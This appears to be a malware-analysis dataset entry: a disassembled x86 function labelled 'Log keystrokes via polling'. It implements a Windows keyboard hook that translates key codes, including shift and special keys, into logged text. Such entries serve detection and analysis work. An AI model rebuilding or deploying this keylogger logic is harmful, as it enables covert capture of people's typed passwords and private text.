Function at 0x412776
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x100
je 0x41279f
cmp dword [ebp - 0x18], 0x104
je 0x41279f
jmp 0x412e64
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x27
jb 0x412895
cmp dword [ebp - 8], 0x40
ja 0x412895
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x412871
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
sub eax, 0x30
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 9
ja case.default.0x4127e8
mov eax, dword [ebp - 0x10]
jmp dword [eax*4 + 0x412e7e]
push str.______
call fcn.00412ef7
pop ecx
jmp case.default.0x4127e8
push 0x426e40
call fcn.00412ef7
pop ecx
jmp case.default.0x4127e8
push 0x426e44
call fcn.00412ef7
pop ecx
jmp case.default.0x4127e8
push 0x426e48
call fcn.00412ef7
pop ecx
jmp case.default.0x4127e8
push 0x426e4c
call fcn.00412ef7
pop ecx
jmp case.default.0x4127e8
push 0x426e50
call fcn.00412ef7
pop ecx
jmp case.default.0x4127e8
push 0x426e54
call fcn.00412ef7
pop ecx
jmp case.default.0x4127e8
push 0x426e58
call fcn.00412ef7
pop ecx
jmp case.default.0x4127e8
push 0x426e5c
call fcn.00412ef7
pop ecx
jmp case.default.0x4127e8
push 0x426e60
call fcn.00412ef7
pop ecx
jmp 0x412890
push dword [ebp - 8]
push 0x426e64
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x2c]
push eax
call fcn.00412ef7
pop ecx
jmp 0x412e64
cmp dword [ebp - 8], 0x40
jbe 0x412901
cmp dword [ebp - 8], 0x5b
jae 0x412901
call fcn.00412edc
mov byte [ebp - 0x20], al
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x4128bc
mov byte [ebp - 0x1c], 1
jmp 0x4128c0
mov byte [ebp - 0x1c], 0
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
call fcn.00412ea6
pop ecx
pop ecx
movzx eax, al
test eax, eax
jne 0x4128dd
mov eax, dword [ebp - 8]
add eax, 0x20
mov dword [ebp - 8], eax
push dword [ebp - 8]
push 0x426e6c
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x38]
push eax
call fcn.00412ef7
pop ecx
jmp 0x412e64
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x68
ja 0x4129ff
cmp dword [ebp - 4], 0x68
je 0x412c39
cmp dword [ebp - 4], 0x2d
ja 0x412995
cmp dword [ebp - 4], 0x2d
je 0x412b99
cmp dword [ebp - 4], 0x11
ja 0x412968
cmp dword [ebp - 4], 0x11
je 0x412b59
cmp dword [ebp - 4], 8
je 0x412b39
cmp dword [ebp - 4], 9
je 0x412b49
cmp dword [ebp - 4], 0xd
je 0x412b29
cmp dword [ebp - 4], 0x10
je 0x412d55
jmp 0x412e26
cmp dword [ebp - 4], 0x12
je 0x412b69
cmp dword [ebp - 4], 0x14
je 0x412b79
cmp dword [ebp - 4], 0x1b
je 0x412b89
cmp dword [ebp - 4], 0x20
je 0x412b19
jmp 0x412e26
cmp dword [ebp - 4], 0x63
ja 0x4129d2
cmp dword [ebp - 4], 0x63
je 0x412be9
cmp dword [ebp - 4], 0x2e
je 0x412ba9
cmp dword [ebp - 4], 0x60
je 0x412bb9
cmp dword [ebp - 4], 0x61
je 0x412bc9
cmp dword [ebp - 4], 0x62
je 0x412bd9
jmp 0x412e26
cmp dword [ebp - 4], 0x64
je 0x412bf9
cmp dword [ebp - 4], 0x65
je 0x412c09
cmp dword [ebp - 4], 0x66
je 0x412c19
cmp dword [ebp - 4], 0x67
je 0x412c29
jmp 0x412e26
cmp dword [ebp - 4], 0xbc
ja 0x412a9e
cmp dword [ebp - 4], 0xbc
je 0x412d5a
cmp dword [ebp - 4], 0xa3
ja 0x412a65
cmp dword [ebp - 4], 0xa3
je 0x412b59
cmp dword [ebp - 4], 0x69
je 0x412c49
cmp dword [ebp - 4], 0xa0
je 0x412d55
cmp dword [ebp - 4], 0xa1
je 0x412d55
cmp dword [ebp - 4], 0xa2
je 0x412b59
jmp 0x412e26
cmp dword [ebp - 4], 0xa4
je 0x412b69
cmp dword [ebp - 4], 0xa5
je 0x412b69
cmp dword [ebp - 4], 0xba
je 0x412dae
cmp dword [ebp - 4], 0xbb
je 0x412dff
jmp 0x412e26
cmp dword [ebp - 4], 0xdb
ja 0x412aed
cmp dword [ebp - 4], 0xdb
je 0x412cad
cmp dword [ebp - 4], 0xbd
je 0x412dd8
cmp dword [ebp - 4], 0xbe
je 0x412d84
cmp dword [ebp - 4], 0xbf
je 0x412c59
cmp dword [ebp - 4], 0xc0
je 0x412c83
jmp 0x412e26
cmp dword [ebp - 4], 0xdc
je 0x412cd7
cmp dword [ebp - 4], 0xdd
je 0x412d01
cmp dword [ebp - 4], 0xde
je 0x412d2b
jmp 0x412e26
push 0x426e74
call fcn.00412ef7
pop ecx
jmp 0x412e64
push 0x426e78
call fcn.00412ef7
pop ecx
jmp 0x412e64
push str._BKSP_
call fcn.00412ef7
pop ecx
jmp 0x412e64
push str._TAB_
call fcn.00412ef7
pop ecx
jmp 0x412e64
push str._CTRL_
call fcn.00412ef7
pop ecx
jmp 0x412e64
push str._ALT_
call fcn.00412ef7
pop ecx
jmp 0x412e64
push str._CAPS_
call fcn.00412ef7
pop ecx
jmp 0x412e64
push str._ESC_
call fcn.00412ef7
pop ecx
jmp 0x412e64
push str._INSERT_
call fcn.00412ef7
pop ecx
jmp 0x412e64
push str._DEL_
call fcn.00412ef7
pop ecx
jmp 0x412e64
push str.0123456789_________.:___
call fcn.00412ef7
pop ecx
jmp 0x412e64
push 0x426f04
call fcn.00412ef7
pop ecx
jmp 0x412e64
push 0x426f08
call fcn.00412ef7
pop ecx
jmp 0x412e64
push 0x426f0c
call fcn.00412ef7
pop ecx
jmp 0x412e64
push 0x426f10
call fcn.00412ef7
pop ecx
jmp 0x412e64
push 0x426f14
call fcn.00412ef7
pop ecx
jmp 0x412e64
push 0x426f18
call fcn.00412ef7
pop ecx
jmp 0x412e64
push 0x426f1c
call fcn.00412ef7
pop ecx
jmp 0x412e64
push 0x426f20
call fcn.00412ef7
pop ecx
jmp 0x412e64
push 0x426f24
call fcn.00412ef7
pop ecx
jmp 0x412e64
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x412c73
push 0x426f28
call fcn.00412ef7
pop ecx
jmp 0x412c7e
push 0x426f2c
call fcn.00412ef7
pop ecx
jmp 0x412e64
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x412c9d
push 0x426f30
call fcn.00412ef7
pop ecx
jmp 0x412ca8
push 0x426f34
call fcn.00412ef7
pop ecx
jmp 0x412e64
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x412cc7
push 0x426f38
call fcn.00412ef7
pop ecx
jmp 0x412cd2
push 0x426f3c
call fcn.00412ef7
pop ecx
jmp 0x412e64
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x412cf1
push 0x426f40
call fcn.00412ef7
pop ecx
jmp 0x412cfc
push 0x426f44
call fcn.00412ef7
pop ecx
jmp 0x412e64
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x412d1b
push 0x426f48
call fcn.00412ef7
pop ecx
jmp 0x412d26
push 0x426f4c
call fcn.00412ef7
pop ecx
jmp 0x412e64
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x412d45
push 0x426f50
call fcn.00412ef7
pop ecx
jmp 0x412d50
push 0x426f54
call fcn.00412ef7
pop ecx
jmp 0x412e64
jmp 0x412e64
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x412d74
push 0x426f58
call fcn.00412ef7
pop ecx
jmp 0x412d7f
push 0x426f5c
call fcn.00412ef7
pop ecx
jmp 0x412e64
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x412d9e
push 0x426f60
call fcn.00412ef7
pop ecx
jmp 0x412da9
push 0x426f64
call fcn.00412ef7
pop ecx
jmp 0x412e64
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x412dc8
push 0x426f68
call fcn.00412ef7
pop ecx
jmp 0x412dd3
push 0x426f6c
call fcn.00412ef7
pop ecx
jmp 0x412e64
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x412df2
push 0x426f70
call fcn.00412ef7
pop ecx
jmp 0x412dfd
push 0x426f74
call fcn.00412ef7
pop ecx
jmp 0x412e64
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
cwde
test eax, eax
je 0x412e19
push 0x426f78
call fcn.00412ef7
pop ecx
jmp 0x412e24
push 0x426f7c
call fcn.00412ef7
pop ecx
jmp 0x412e64
mov dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 4]
shl eax, 0x10
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
shl eax, 0x18
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
push 0xf
lea eax, [ebp - 0x58]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.USER32.dll_GetKeyNameTextW]
lea eax, [ebp - 0x58]
push eax
call fcn.00412ef7
pop ecx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push 0
call dword [sym.imp.USER32.dll_CallNextHookEx]
jmp 0x412e79
leave
ret 0xc